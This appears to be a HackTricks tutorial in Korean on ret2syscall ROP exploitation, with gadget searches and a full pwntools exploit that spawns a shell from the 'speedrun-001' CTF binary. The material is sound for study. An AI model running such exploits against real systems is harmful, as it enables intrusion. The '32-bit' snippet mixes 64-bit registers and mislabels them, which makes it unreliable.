Ret2syscall

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Basic Information

์ด๊ฒƒ์€ Ret2lib์™€ ์œ ์‚ฌํ•˜์ง€๋งŒ, ์ด ๊ฒฝ์šฐ์—๋Š” ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์˜ ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ด ๊ฒฝ์šฐ, ๋ชจ๋“  ๊ฒƒ์ด /bin/sh๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•ด sys_execve ์‹œ์Šคํ…œ ํ˜ธ์ถœ์„ ํ˜ธ์ถœํ•˜๋„๋ก ์ค€๋น„๋ฉ๋‹ˆ๋‹ค. ์ด ๊ธฐ์ˆ ์€ ์ผ๋ฐ˜์ ์œผ๋กœ ์ •์ ์œผ๋กœ ์ปดํŒŒ์ผ๋œ ๋ฐ”์ด๋„ˆ๋ฆฌ์—์„œ ์ˆ˜ํ–‰๋˜๋ฏ€๋กœ, ๋งŽ์€ ๊ฐ€์ ฏ๊ณผ ์‹œ์Šคํ…œ ํ˜ธ์ถœ ๋ช…๋ น์–ด๊ฐ€ ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

syscall ํ˜ธ์ถœ์„ ์ค€๋น„ํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ตฌ์„ฑ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค:

  • rax: 59 sys_execve ์ง€์ •
  • rdi: "/bin/sh"์— ๋Œ€ํ•œ ํฌ์ธํ„ฐ, ์‹คํ–‰ํ•  ํŒŒ์ผ ์ง€์ •
  • rsi: 0, ์ „๋‹ฌ๋œ ์ธ์ˆ˜ ์—†์Œ ์ง€์ •
  • rdx: 0, ์ „๋‹ฌ๋œ ํ™˜๊ฒฝ ๋ณ€์ˆ˜ ์—†์Œ ์ง€์ •

๋”ฐ๋ผ์„œ ๊ธฐ๋ณธ์ ์œผ๋กœ /bin/sh ๋ฌธ์ž์—ด์„ ์–ด๋”˜๊ฐ€์— ์ž‘์„ฑํ•œ ๋‹ค์Œ syscall์„ ์ˆ˜ํ–‰ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค(์Šคํƒ์„ ์ œ์–ดํ•˜๊ธฐ ์œ„ํ•ด ํ•„์š”ํ•œ ํŒจ๋”ฉ์„ ์ธ์ง€ํ•ด์•ผ ํ•จ). ์ด๋ฅผ ์œ„ํ•ด, ์•Œ๋ ค์ง„ ์˜์—ญ์— /bin/sh๋ฅผ ์ž‘์„ฑํ•  ์ˆ˜ ์žˆ๋Š” ๊ฐ€์ ฏ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

Tip

ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ๋Š” ๋˜ ๋‹ค๋ฅธ ํฅ๋ฏธ๋กœ์šด ์‹œ์Šคํ…œ ํ˜ธ์ถœ์€ **mprotect**๋กœ, ์ด๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ ๋ฉ”๋ชจ๋ฆฌ์˜ ํŽ˜์ด์ง€ ๊ถŒํ•œ์„ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค. ์ด๋Š” ret2shellcode์™€ ๊ฒฐํ•ฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Register gadgets

์ด ๋ ˆ์ง€์Šคํ„ฐ๋“ค์„ ์ œ์–ดํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์ฐพ๋Š” ๊ฒƒ๋ถ€ํ„ฐ ์‹œ์ž‘ํ•ฉ์‹œ๋‹ค:

ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
0x0000000000400686 : pop rdi ; ret
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret

์ด ์ฃผ์†Œ๋“ค์„ ์‚ฌ์šฉํ•˜๋ฉด ์Šคํƒ์˜ ๋‚ด์šฉ์„ ์“ฐ๊ณ  ๋ ˆ์ง€์Šคํ„ฐ์— ๋กœ๋“œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋ฌธ์ž์—ด ์“ฐ๊ธฐ

์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ๋ฉ”๋ชจ๋ฆฌ

๋จผ์ € ๋ฉ”๋ชจ๋ฆฌ์—์„œ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ์œ„์น˜๋ฅผ ์ฐพ์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค.

gef> vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]

๋ฉ”๋ชจ๋ฆฌ์— ๋ฌธ์ž์—ด ์“ฐ๊ธฐ

๊ทธ๋Ÿฐ ๋‹ค์Œ ์ด ์ฃผ์†Œ์— ์ž„์˜์˜ ๋‚ด์šฉ์„ ์“ธ ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•์„ ์ฐพ์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค.

ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx

ROP ์ฒด์ธ ์ž๋™ํ™”

๋‹ค์Œ ๋ช…๋ น์€ ์“ฐ๊ธฐ-๋ฌด์—‡-์–ด๋””์— ๊ฐ€์ ฏ๊ณผ ์‹œ์Šคํ…œ ํ˜ธ์ถœ ๋ช…๋ น์ด ์žˆ์„ ๋•Œ ์ •์  ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ์ „์ฒด sys_execve ROP ์ฒด์ธ์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค:

ROPgadget --binary vuln --ropchain

32 ๋น„ํŠธ

'''
Lets write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''

rop += popRdx           # place value into EAX
rop += "/bin"           # 4 bytes at a time
rop += popRax           # place value into edx
rop += p32(0x6b6000)    # Writable memory
rop += writeGadget   #Address to: mov qword ptr [rax], rdx

rop += popRdx
rop += "//sh"
rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget

64 ๋น„ํŠธ

'''
Lets write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx

๋ถ€์กฑํ•œ ๊ฐ€์ ฏ

๊ฐ€์ ฏ์ด ๋ถ€์กฑํ•œ ๊ฒฝ์šฐ, ์˜ˆ๋ฅผ ๋“ค์–ด ๋ฉ”๋ชจ๋ฆฌ์— /bin/sh๋ฅผ ์“ฐ๊ธฐ ์œ„ํ•ด, ์Šคํƒ์—์„œ ๋ชจ๋“  ๋ ˆ์ง€์Šคํ„ฐ ๊ฐ’(RIP ๋ฐ ํŒŒ๋ผ๋ฏธํ„ฐ ๋ ˆ์ง€์Šคํ„ฐ ํฌํ•จ)์„ ์ œ์–ดํ•˜๊ธฐ ์œ„ํ•ด SROP ๊ธฐ๋ฒ•์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

SROP - Sigreturn-Oriented Programming

์ต์Šคํ”Œ๋กœ์ž‡ ์˜ˆ์ œ

from pwn import *

target = process('./speedrun-001')
#gdb.attach(target, gdbscript = 'b *0x400bad')

# Establish our ROP Gadgets
popRax = p64(0x415664)
popRdi = p64(0x400686)
popRsi = p64(0x4101f3)
popRdx = p64(0x4498b5)

# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)

# Our syscall gadget
syscall = p64(0x40129c)

'''
Here is the assembly equivalent for these blocks
write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000)
rop += writeGadget

'''
Prep the four registers with their arguments, and make the syscall

pop rax, 0x3b
pop rdi, 0x6b6000
pop rsi, 0x0
pop rdx, 0x0

syscall
'''

rop += popRax
rop += p64(0x3b)

rop += popRdi
rop += p64(0x6b6000)

rop += popRsi
rop += p64(0)
rop += popRdx
rop += p64(0)

rop += syscall


# Add the padding to the saved return address
payload = "0"*0x408 + rop

# Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)

target.interactive()

๋‹ค๋ฅธ ์˜ˆ์ œ ๋ฐ ์ฐธ๊ณ ์ž๋ฃŒ

  • https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html
  • 64๋น„ํŠธ, PIE ์—†์Œ, nx, ๋ฉ”๋ชจ๋ฆฌ์— execve๋ฅผ ํ˜ธ์ถœํ•˜๊ณ  ๊ทธ๊ณณ์œผ๋กœ ์ ํ”„ํ•˜๋Š” ROP๋ฅผ ์ž‘์„ฑํ•ฉ๋‹ˆ๋‹ค.
  • https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html
  • 64๋น„ํŠธ, nx, PIE ์—†์Œ, ๋ฉ”๋ชจ๋ฆฌ์— execve๋ฅผ ํ˜ธ์ถœํ•˜๊ณ  ๊ทธ๊ณณ์œผ๋กœ ์ ํ”„ํ•˜๋Š” ROP๋ฅผ ์ž‘์„ฑํ•ฉ๋‹ˆ๋‹ค. ์Šคํƒ์— ์ˆ˜ํ•™ ์—ฐ์‚ฐ์„ ์ˆ˜ํ–‰ํ•˜๋Š” ํ•จ์ˆ˜๋ฅผ ์ž‘์„ฑํ•˜๊ธฐ ์œ„ํ•ด ์•…์šฉ๋ฉ๋‹ˆ๋‹ค.
  • https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html
  • 64๋น„ํŠธ, PIE ์—†์Œ, nx, BF ์นด๋‚˜๋ฆฌ, ๋ฉ”๋ชจ๋ฆฌ์— execve๋ฅผ ํ˜ธ์ถœํ•˜๊ณ  ๊ทธ๊ณณ์œผ๋กœ ์ ํ”„ํ•˜๋Š” ROP๋ฅผ ์ž‘์„ฑํ•ฉ๋‹ˆ๋‹ค.

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ